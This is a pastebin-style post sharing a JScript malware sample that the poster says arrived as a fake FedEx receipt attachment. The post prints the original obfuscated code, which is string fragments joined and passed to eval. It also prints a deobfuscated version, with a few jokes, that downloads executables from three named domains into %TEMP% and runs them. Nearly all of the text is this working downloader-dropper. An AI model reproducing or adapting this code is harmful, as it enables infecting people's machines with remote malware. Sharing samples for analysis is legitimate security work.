JoshDreamland icon

Prehistoric Virus

JoshDreamland | PRO | 09/27/15 09:12:22 PM UTC | 0 ⭐ | 319 👁️ | Never ⏰ | []
JavaScript |

11.13 KB

|

None

|

0 👍

/

0 👎

// A virus showed up in my email today.
// It was a zip file claiming to be a Fedex receipt.
// To my surprise, the zip did not contain an exe, but a js file.
// I got a kick out of it, so I thought I'd share it.
// I have added newlines and some spaces, but otherwise left it as received:
 
var stroke="5557575E0E0B170C12241E0B0B090D0A1001160A01104A0A0110";
 
function pk44pa() { return 'Shel'; }; 
function pk112pa() { return '= '; }; 
function pk100pa() { return 'ch'; }; 
function pk188pa() { return 'GET'; }; 
function pk4pa() { return 'l('; }; 
function pk186pa() { return '.ope'; }; 
function pk190pa() { return 'ht'; }; 
function pk114pa() { return 'xo.st'; }; 
function pk169pa() { return 'n(fn'; }; 
function pk218pa() { return '; if '; }; 
function pk184pa() { return 'y { '; };
var v = ''; 
function pk26pa() { return '(var '; }; 
function pk230pa() { return 'dl'; }; 
function pk142pa() { return 'esp'; }; 
function pk89pa() { return 'Obje'; }; 
function pk148pa() { return 'ze '; }; 
function pk194pa() { return '+"/d'; }; 
function pk35pa() { return ' n'; }; 
function pk16pa() { return 'es'; }; 
function pk199pa() { return 'd='; }; 
function pk215pa() { return 'ch ('; }; 
function pk78pa() { return '".exe'; }; 
function pk101pa() { return 'ange '; }; 
function pk121pa() { return '= n'; }; 
function pk80pa() { return 'va'; }; 
function pk150pa() { return '000)'; }; 
function pk33pa() { return '{ var'; }; 
function pk119pa() { return 'ar'; }; 
function pk66pa() { return 'Code('; }; 
function pk156pa() { return 'tio'; }; 
function pk54pa() { return 'me'; }; 
function pk76pa() { return '0000'; }; 
function pk72pa() { return 'ran'; }; 
function pk107pa() { return '(xo.'; }; 
function pk138pa() { return '; x'; }; 
function pk58pa() { return '("'; }; 
function pk208pa() { return 'e)'; }; 
function pk146pa() { return 'xa'; }; 
function pk104pa() { return 'ction'; }; 
function pk67pa() { return '92)+M'; }; 
function pk181pa() { return '); '; }; 
function pk211pa() { return 'en'; }; 
function pk196pa() { return 'um'; }; 
function pk34pa() { return ' ws ='; }; 
function pk145pa() { return ' if ('; }; 
function pk151pa() { return ' { dn'; }; 
function pk126pa() { return '("'; }; 
function pk133pa() { return 'n(); '; }; 
function pk168pa() { return '.Ru'; }; 
function pk77pa() { return '000)+'; }; 
function pk205pa() { return 'ok'; }; 
function pk158pa() { return '= 0'; }; 
function pk149pa() { return '> 5'; }; 
function pk116pa() { return ' == 2'; }; 
function pk6pa() { return '{ v'; }; 
function pk36pa() { return 'ew'; }; 
function pk68pa() { return 'at'; }; 
function pk46pa() { return 'var f'; }; 
function pk19pa() { return 'ers.'; }; 
function pk5pa() { return 'fr) '; }; 
function pk84pa() { return 'var '; }; 
function pk134pa() { return 'xa'; }; 
function pk195pa() { return 'oc'; }; 
function pk166pa() { return ' try '; }; 
function pk125pa() { return 'bject'; }; 
function pk32pa() { return 'i++) '; }; 
function pk180pa() { return 'ose('; }; 
function pk219pa() { return '(d'; }; 
function pk40pa() { return 'ct("'; }; 
function pk225pa() { return '311'; }; 
function pk61pa() { return '+St'; }; 
function pk141pa() { return 'xo.R'; }; 
function pk221pa() { return ' 1) b'; }; 
function pk226pa() { return '); dl'; }; 
function pk45pa() { return 'l"); '; }; 
function pk109pa() { return 'ySt'; }; 
function pk198pa() { return 'hp?rn'; }; 
function pk108pa() { return 'read'; }; 
function pk228pa() { return '05'; }; 
function pk74pa() { return 'm('; }; 
function pk143pa() { return 'onseB'; }; 
function pk179pa() { return 'xa.cl'; }; 
function pk204pa() { return 'tr'; }; 
function pk203pa() { return '="+s'; }; 
function pk9pa() { return 'rigg'; }; 
function pk171pa() { return '0);'; }; 
function pk164pa() { return 'n,2'; }; 
function pk25pa() { return 'for '; }; 
function pk163pa() { return '(f'; }; 
function pk167pa() { return '{ ws'; }; 
function pk71pa() { return 'Math.'; }; 
function pk92pa() { return 'XML2'; }; 
function pk81pa() { return 'r '; }; 
function pk79pa() { return '"; '; }; 
function pk131pa() { return 'a.'; }; 
function pk43pa() { return 'pt.'; }; 
function pk87pa() { return 'ct'; }; 
function pk162pa() { return 'ile'; }; 
function pk128pa() { return '.Str'; }; 
function pk88pa() { return 'iveX'; }; 
function pk63pa() { return 'ng.f'; }; 
function pk161pa() { return 'veToF'; }; 
function pk10pa() { return 'st.'; }; 
function pk99pa() { return 'te'; }; 
function pk98pa() { return 'dysta'; }; 
function pk231pa() { return '(15'; }; 
function pk122pa() { return 'ew A'; }; 
function pk48pa() { return '= '; }; 
function pk50pa() { return '.Ex'; }; 
function pk21pa() { return '".s'; }; 
function pk3pa() { return 'n d'; }; 
function pk210pa() { return 'xo.s'; }; 
function pk206pa() { return 'e,'; }; 
function pk62pa() { return 'ri'; }; 
function pk152pa() { return ' = '; }; 
function pk97pa() { return 'rea'; }; 
function pk106pa() { return 'if '; }; 
function pk227pa() { return '(1'; }; 
function pk178pa() { return '}; '; }; 
function pk124pa() { return 'eXO'; }; 
function pk176pa() { return 'r) {'; }; 
function pk115pa() { return 'atus'; }; 
function pk110pa() { return 'at'; }; 
function pk52pa() { return 'En'; }; 
function pk160pa() { return 'a.sa'; }; 
function pk8pa() { return ' = "'; }; 
function pk187pa() { return 'n("'; }; 
function pk2pa() { return 'ctio'; }; 
function pk207pa() { return ' fals'; }; 
function pk177pa() { return '}; '; }; 
function pk214pa() { return 'at'; }; 
function pk224pa() { return '; dl('; }; 
function pk86pa() { return 'new A'; }; 
function pk13pa() { return 'dcpow'; }; 
function pk172pa() { return ' }'; }; 
function pk65pa() { return 'ar'; }; 
function pk73pa() { return 'do'; }; 
function pk209pa() { return '; '; }; 
function pk57pa() { return 'gs'; }; 
function pk12pa() { return 'm s'; }; 
function pk51pa() { return 'pand'; }; 
function pk70pa() { return 'und('; }; 
function pk182pa() { return '}; };'; }; 
function pk1pa() { return 'fun'; }; 
function pk93pa() { return '.XMLH'; }; 
function pk197pa() { return 'ent.p'; }; 
function pk233pa() { return ';'; }; 
function pk69pa() { return 'h.ro'; }; 
function pk139pa() { return 'a.w'; }; 
function pk85pa() { return 'xo = '; }; 
function pk82pa() { return 'dn '; }; 
function pk154pa() { return 'a.p'; }; 
function pk155pa() { return 'osi'; }; 
function pk127pa() { return 'ADODB'; }; 
function pk0pa() { return 'eval'; };  
function pk144pa() { return 'ody);'; }; 
function pk212pa() { return 'd();'; }; 
function pk183pa() { return ' tr'; }; 
function pk37pa() { return ' Acti'; }; 
function pk200pa() { return '"+f'; }; 
function pk130pa() { return '); x'; }; 
function pk111pa() { return 'e ='; }; 
function pk38pa() { return 'veXOb'; }; 
function pk27pa() { return 'i=0'; }; 
function pk232pa() { return '73)'; }; 
function pk23pa() { return '(" ")'; }; 
function pk11pa() { return 'co'; }; 
function pk75pa() { return ')*10'; }; 
function pk159pa() { return '; x'; }; 
function pk157pa() { return 'n '; }; 
function pk189pa() { return '","'; }; 
function pk60pa() { return '%")'; }; 
function pk147pa() { return '.si'; }; 
function pk220pa() { return 'n =='; }; 
function pk223pa() { return ' }; }'; }; 
function pk185pa() { return 'xo'; }; 
function pk59pa() { return '%TEMP'; }; 
function pk135pa() { return '.ty'; }; 
function pk165pa() { return ');'; }; 
function pk17pa() { return '-egla'; }; 
function pk102pa() { return '= '; }; 
function pk132pa() { return 'ope'; }; 
function pk153pa() { return '1; x'; }; 
function pk14pa() { return 'er.'; }; 
function pk31pa() { return 'gth; '; }; 
function pk7pa() { return 'ar b'; }; 
function pk129pa() { return 'eam"'; }; 
function pk173pa() { return ' cat'; }; 
function pk29pa() { return '<b'; }; 
function pk202pa() { return '&id'; }; 
function pk95pa() { return 'P"); '; }; 
function pk123pa() { return 'ctiv'; }; 
function pk22pa() { return 'plit'; }; 
function pk18pa() { return 'nti'; }; 
function pk20pa() { return 'fr'; }; 
function pk24pa() { return '; '; }; 
function pk39pa() { return 'je'; }; 
function pk28pa() { return '; i'; }; 
function pk216pa() { return 'er) '; }; 
function pk118pa() { return ' { v'; }; 
function pk229pa() { return '2); '; }; 
function pk105pa() { return '() { '; }; 
function pk136pa() { return 'pe '; }; 
function pk137pa() { return '= 1'; }; 
function pk64pa() { return 'romCh'; }; 
function pk191pa() { return 'tp:/'; }; 
function pk53pa() { return 'viron'; }; 
function pk49pa() { return 'ws'; }; 
function pk41pa() { return 'WS'; }; 
function pk42pa() { return 'cri'; }; 
function pk56pa() { return 'in'; }; 
function pk103pa() { return 'fun'; }; 
function pk117pa() { return '00)'; }; 
function pk170pa() { return ',1,'; }; 
function pk83pa() { return '= 0; '; }; 
function pk55pa() { return 'ntStr'; }; 
function pk192pa() { return '/"+b'; }; 
function pk30pa() { return '.len'; }; 
function pk91pa() { return 'MS'; }; 
function pk113pa() { return '4 && '; }; 
function pk96pa() { return 'xo.on'; }; 
function pk90pa() { return 'ct("'; }; 
function pk120pa() { return ' xa '; }; 
function pk222pa() { return 'reak;'; }; 
function pk201pa() { return 'r+"'; }; 
function pk217pa() { return '{}'; }; 
function pk193pa() { return '[i]'; }; 
function pk140pa() { return 'rite('; }; 
function pk15pa() { return 'com l'; }; 
function pk174pa() { return 'ch'; }; 
function pk213pa() { return ' } c'; }; 
function pk94pa() { return 'TT'; }; 
function pk47pa() { return 'n '; }; 
function pk175pa() { return ' (e'; };
 
for (var cl=1; cl<=233; cl++) {
  v += this['pk'+cl+'pa']();
};
this[pk0pa()](v); 
 
 
// =============================================================================
// =============================================================================
// === An evaluated version of the above is as follows: ========================
// =============================================================================
// =============================================================================
 
function dl(fr) {
  var b = "riggst.com sdcpower.com les-eglantiers.fr".split(" ");
  for (var i=0; i<b.length; i++) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%")
        + String.fromCharCode(92)    // Yeah, you got me; backslashes are evil?
        + Math.round(Math.random() * 100000000)
        + ".exe";
    var dn = 0;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");         // How funny is this?
    xo.onreadystatechange = function() {
      if (xo.readyState == 4 && xo.status == 200) {
        var xa = new ActiveXObject("ADODB.Stream");
        xa.open();
        xa.type = 1;
        xa.write(xo.ResponseBody);
        if (xa.size > 5000) {
          dn = 1; xa.position = 0;
          xa.saveToFile(fn,2);
          try {
            ws.Run(fn,1,0);
          } catch (er) {};
        }; 
        xa.close();
      };
    };
    try {
      xo.open("GET",
          "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke,
          false);
      xo.send();
    } catch (er) {};
    if (dn == 1) break;
  };
};
 
dl(311);
dl(1052);
dl(1573);

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎